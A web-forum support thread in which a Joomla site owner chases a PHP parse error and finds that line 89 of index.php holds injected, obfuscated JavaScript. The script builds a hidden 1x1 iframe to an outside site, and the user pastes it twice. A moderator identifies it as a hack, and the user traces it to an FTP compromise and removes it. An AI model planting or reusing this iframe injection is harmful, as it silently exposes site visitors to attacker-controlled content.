Welcome, Guest
Username: Password: Remember me

TOPIC: Parse error: syntax error, unexpected '

Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23604

I have this , do you know what happens, Parse error: syntax error, unexpected '<' in ...index.php on line 89

thanks so much I really need help
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23607

  • nicolas
  • nicolas's Avatar
  • NOW ONLINE
  • Posts: 38685
  • Thank you received: 4152
  • MODERATOR
Please give the path of the file. There are tens of index.php files so it's not possible to know the problem without the full error message.
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23608

this is it

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23609

what I did was I delete the line 89 and now I get

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23610

here is the index.php with the line 89 , look bad?
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23611

I think I forgot the file
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23612

sorry I just trying to upload the file , but don't let me here is the last lines


// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
89 line echo JResponse::toString($mainframe->getCfg('gzip'));
<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://'; b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23613

  • nicolas
  • nicolas's Avatar
  • NOW ONLINE
  • Posts: 38685
  • Thank you received: 4152
  • MODERATOR
That's an error in your template tachyon from RocketTheme.
I'm afraid we can't help you as we don't know at all rockettheme templates. You should ask their support for help.
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23615

Nic I just found that almost all my sites are down and this the error , the back end is fine


Parse error: syntax error, unexpected '<' in /homepages/23/d293195893/htdocs/GE-Directory/index.php on line 89

then I found in line 89 something like this :

<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23617

  • nicolas
  • nicolas's Avatar
  • NOW ONLINE
  • Posts: 38685
  • Thank you received: 4152
  • MODERATOR
Looking at the javascript code on google, it looks like your websites might have been hacked:
www.google.co.uk/support/forum/p/Webmast...de0ceb03a46257&hl=en
The administrator has disabled public write access.

Re: Parse error: syntax error, unexpected ' 3 years 2 weeks ago #23621

thanks men , it was a ftp hack , wow I remove that line and update the template, thanks again.
The administrator has disabled public write access.
Time to create page: 0.199 seconds
Powered by Kunena Forum